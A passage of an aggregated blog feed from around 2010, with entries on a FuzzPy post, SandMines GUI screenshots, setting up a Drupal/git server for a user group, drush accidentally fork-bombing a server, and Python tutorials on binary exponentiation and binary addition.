/&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F10%2F17%2Ffuzzy-mathematics-with-fuzzpy-part-1%2F&amp;amp;title=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%201%29&quot; id=&quot;wpa2a_4&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Related posts:&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/11/03/fuzzy-mathematics-with-fuzzpy-part-2/&quot; rel=&quot;bookmark&quot; title=&quot;Fuzzy Mathematics with FuzzPy (Part 2)&quot;&gt;Fuzzy Mathematics with FuzzPy (Part 2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">SandMines Graphics coming along</title>
		<link href="http://blog.sandmines.org/?q=node/1"/>
		<id>http://blog.sandmines.org/1 at http://blog.sandmines.org</id>
		<updated>2010-09-12T07:13:40+00:00</updated>
		<content type="html">&lt;p&gt;My gui is coming along, and I'd thought I'd snap some screenshots of things I've made so far.&lt;/p&gt;
&lt;p&gt; The url &lt;a href=&quot;http://images.sandmines.org&quot; title=&quot;http://images.sandmines.org&quot;&gt;http://images.sandmines.org&lt;/a&gt; is a directory containing some images of my current apps.&lt;/p&gt;
&lt;p&gt; gridit is basically a simple icon editing tool I made. This is the first thing I wrote to allow myself to make simple images for things like the fileselect dialog.&lt;/p&gt;
&lt;p&gt; ircit is my irc client. Its really basic right now, but it does function. I've been using this as my client for a couple months now, and the main reason I use it is to test the stability of SMG (since its running all the time).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/1&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">drupal.wuug.org</title>
		<link href="http://blog.free.draisey.ca/node/101"/>
		<id>http://blog.free.draisey.ca/101 at http://blog.free.draisey.ca</id>
		<updated>2010-09-10T16:10:31+00:00</updated>
		<content type="html">&lt;p&gt;So things are largely set up on the server, just waiting for drupal.wuug.org to go live on the wuug nameservers (&lt;code&gt;ns2.servertree.net&lt;/code&gt; is holding out for some reason).  The git repository is set up at &lt;code&gt;drupal.wuug.org:/srv/wuug/drupal/WUUG-Drupal-Project.git&lt;/code&gt;.  The &lt;code&gt;public-6&lt;/code&gt; branch will automatically checkout into &lt;code&gt;/srv/drupal-6/sites/drupal.wuug.org&lt;/code&gt; which is the root of the config space for &lt;code&gt;drupal.wuug.org&lt;/code&gt;.  This checkout is done with user credentials, so I hope I confgured the group permissions correctly.  I really should test this with a nested checkout to see whether checked out directories have the appropriate permissions and group ownership.  I am setting the umask in the &lt;i&gt;git&lt;/i&gt; update hook so it only a matter of the group for newly created files and directories that may be off.  I have set the &lt;i&gt;setgid&lt;/i&gt; bit on the root directory, and all new users are getting &lt;code&gt;wuug&lt;/code&gt; as their primary group, so the only potential snag is in checkouts from me!  This is my first attempt at administration for multiple users, so I may have messed it up.&lt;/p&gt;
&lt;p&gt;I only have two users so far!  And no activity.&lt;/p&gt;
&lt;p&gt;Drush is now back in the path and so executing something like&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;$drush --remote-host=drupal.wuug.org --root=/srv/drupal-6 --uri=http://drupal.wuug.org status&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;should now work properly (i.e. without fork bombing).  Drush is the drupal shell and can be quite a bit faster to use than the web interface.  I handed out the user/password combo at the last meeting but only Patrick was there so that didn't quite work as planned.  I think I'll just post it in a text file on the server (accessible through ssh)&lt;/p&gt;
&lt;p&gt;I have pre-installed a bunch of modules in &lt;code&gt;sites/all/modules&lt;/code&gt; which may be activated at any time.  Other modules should be installable with drush --- putting standard modules into the git repository is a bad idea.  Will have to test this.&lt;/p&gt;
&lt;p&gt;The git repository is gitweb browsable, but only through my free.draisey.ca web site.  I will have to get do something wuug branded.  Also I haven't yet set up anonymous git pulls.  That should be easy though.&lt;/p&gt;
&lt;p&gt;I think I'll try some theming.  I'll use with the Zen theme as the basis.&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">drush and the server fork bomb</title>
		<link href="http://blog.free.draisey.ca/node/100"/>
		<id>http://blog.free.draisey.ca/100 at http://blog.free.draisey.ca</id>
		<updated>2010-08-26T04:03:39+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Tags:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;http://blog.free.draisey.ca/taxonomy/term/7&quot;&gt;wuug&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;drush (the drupal shell) is a nice command line tool that I have installed on the server for the wuug drupal project.  It has the nice ability to be able to work through a remote instance via ssh --- or so the documentation says --- in my case it fork bombed the server --- the OOM killer played havoc with my server and still failed to slow down the fork bomb.  What a mess.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Binary exponentiation</title>
		<link href="http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/"/>
		<id>http://blog.madpython.com/?p=142</id>
		<updated>2010-08-08T03:10:01+00:00</updated>
		<content type="html">&lt;p&gt;The typical approach to exponentiation of a base &lt;em&gt;b&lt;/em&gt; by an exponent &lt;em&gt;n&lt;/em&gt; is to repeatedly multiply the base by itself, as such: &lt;img src=&quot;http://s0.wp.com/latex.php?latex=b%5En+%3D+%5Cprod_%7Bi%3D1%7D%5E%7Bn%7D+b&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;b^n = &amp;#92;prod_{i=1}^{n} b&quot; title=&quot;b^n = &amp;#92;prod_{i=1}^{n} b&quot; class=&quot;latex&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is easy to compute for small values but quickly chokes with very large values.&lt;/p&gt;
&lt;p&gt;A faster approach involves converting the exponent into base 2, then multiplying the running total and squaring the base each time a 1-bit is encountered. The python implementation looks like this:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;def&lt;/span&gt; binary_exponent&lt;span&gt;&amp;#40;&lt;/span&gt;base, exponent&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Binary Exponentiation
&amp;nbsp;
    Instead of computing the exponentiation in the traditional way,
    convert the exponent to its reverse binary representation.
&amp;nbsp;
    Each time a 1-bit is encountered, we multiply the running total by
    the base, then square the base.
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;# Convert n to base 2, then reverse it.&lt;/span&gt;
    exponent = bin&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    result = &lt;span&gt;1&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; exponent&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            result &lt;span&gt;*&lt;/span&gt;= base
        base &lt;span&gt;*&lt;/span&gt;= base
    &lt;span&gt;return&lt;/span&gt; result&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Similarly, the same approach can be taken to perform modular exponentiation against very large exponents:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;def&lt;/span&gt; modular_exponent&lt;span&gt;&amp;#40;&lt;/span&gt;base, exponent, mod&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Modular exponentiation through binary decomposition.
&amp;nbsp;
    We use the same technique as for the binary exponentiation above in
    order to find the modulo of our very large exponent and an arbitrary
    integer mod.
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    exponent = bin&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    x = &lt;span&gt;1&lt;/span&gt;
    power = base &lt;span&gt;%&lt;/span&gt; mod
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;exponent&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; exponent&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            x = &lt;span&gt;&amp;#40;&lt;/span&gt;x &lt;span&gt;*&lt;/span&gt; power&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; mod
        power = &lt;span&gt;&amp;#40;&lt;/span&gt;power &lt;span&gt;**&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; mod
    &lt;span&gt;return&lt;/span&gt; x&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The optimization is especially visible for the modulo operation, since we are working on smaller numbers with each iteration, whereas for simple exponentiation, the CPython interpreter can already optimize the operation.&lt;br /&gt;
The speedup for modular exponentiation on my system was in the order of 72x the speed of a simple &lt;img src=&quot;http://s0.wp.com/latex.php?latex=%28a%5En%29+%5Cmod%7Bm%7D&amp;#038;bg=ffffff&amp;#038;fg=000&amp;#038;s=0&quot; alt=&quot;(a^n) &amp;#92;mod{m}&quot; title=&quot;(a^n) &amp;#92;mod{m}&quot; class=&quot;latex&quot; /&gt; whereas the the computation of the exponentiation took about the same time in both cases.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F08%2F07%2Falgorithms-in-python-binary-exponentiation%2F&amp;amp;title=Algorithms%20in%20Python%3A%20Binary%20exponentiation&quot; id=&quot;wpa2a_6&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Related posts:&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Base Expansion&quot;&gt;Algorithms in Python: Base Expansion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/&quot; rel=&quot;bookmark&quot; title=&quot;Fuzzy Mathematics with FuzzPy (Part 1)&quot;&gt;Fuzzy Mathematics with FuzzPy (Part 1)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Binary Operations</title>
		<link href="http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/"/>
		<id>http://blog.madpython.com/?p=131</id>
		<updated>2010-07-17T19:08:22+00:00</updated>
		<content type="html">&lt;p&gt;Today I&amp;#8217;d like to demonstrate a simple implementation of &lt;a href=&quot;http://highered.mcgraw-hill.com/sites/0072880082/information_center_view0/about_the_author.html&quot; target=&quot;_blank&quot;&gt;Kenneth Rosen&lt;/a&gt;&amp;#8216;s binary addition and multiplication algorithms as outlined in &amp;quot;&lt;a href=&quot;http://www.amazon.com/Discrete-Mathematics-Applications-Kenneth-Rosen/dp/0071244743/ref=sr_1_2?ie=UTF8&amp;#038;s=books&amp;#038;qid=1279392073&amp;#038;sr=8-2&quot; target=&quot;_blank&quot;&gt;Discrete Mathematics and its Applications&lt;/a&gt;&amp;quot;. Both algorithms are very simple and work the same way we&amp;#8217;ve all learned to do decimal additions and multiplications by hand in grade-school.&lt;/p&gt;
&lt;p&gt;As usual, I&amp;#8217;ve also provided a unit-test suite for each algorithm.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; This is only intended to demonstrate the algorithms. If you are actually trying to do some real work with binary numbers in Python, note that the language itself provides a highly optimized implementation of binary numbers and related operations. Here are a few examples:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;# Decimal to binary conversion:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b1111'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary to decimal conversion:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'15'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary addition:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111 + 0b10011&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b100010'&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# Binary multiplication:&lt;/span&gt;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; bin&lt;span&gt;&amp;#40;&lt;/span&gt;0b1111 &lt;span&gt;*&lt;/span&gt; 0b10011&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;'0b100011101'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2&gt;Binary Addition&lt;/h2&gt;
&lt;p&gt;We will use strings in this example to represent sequences of bits. The algorithm operates right-to-left, maintaining a carry each time it adds two 1-valued bits.&lt;/p&gt;
&lt;h3&gt;Code:&lt;/h3&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple binary operation algorithm.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;math&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;# a and b should be string representation of the binary components&lt;/span&gt;
&lt;span&gt;# You could easily extend this to overload the + operator for binaries,&lt;/span&gt;
&lt;span&gt;# but this is already built into python.&lt;/span&gt;
&lt;span&gt;def&lt;/span&gt; binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Performs a binary addition against two provided binary numbers&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Pad the components so they are of equal length&lt;/span&gt;
    max_length = &lt;span&gt;max&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
    bin_a, bin_b = bin_a.&lt;span&gt;zfill&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;max_length&lt;span&gt;&amp;#41;&lt;/span&gt;, bin_b.&lt;span&gt;zfill&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;max_length&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    carry = &lt;span&gt;0&lt;/span&gt;
    result = &lt;span&gt;''&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Note that we work from right to left&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, max_length&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;:
        tmp = &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;math&lt;/span&gt;.&lt;span&gt;floor&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + carry&lt;span&gt;&amp;#41;&lt;/span&gt;/&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        res = &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; + carry - &lt;span&gt;2&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;tmp&lt;span&gt;&amp;#41;&lt;/span&gt;
        result += res
        carry = tmp
&amp;nbsp;
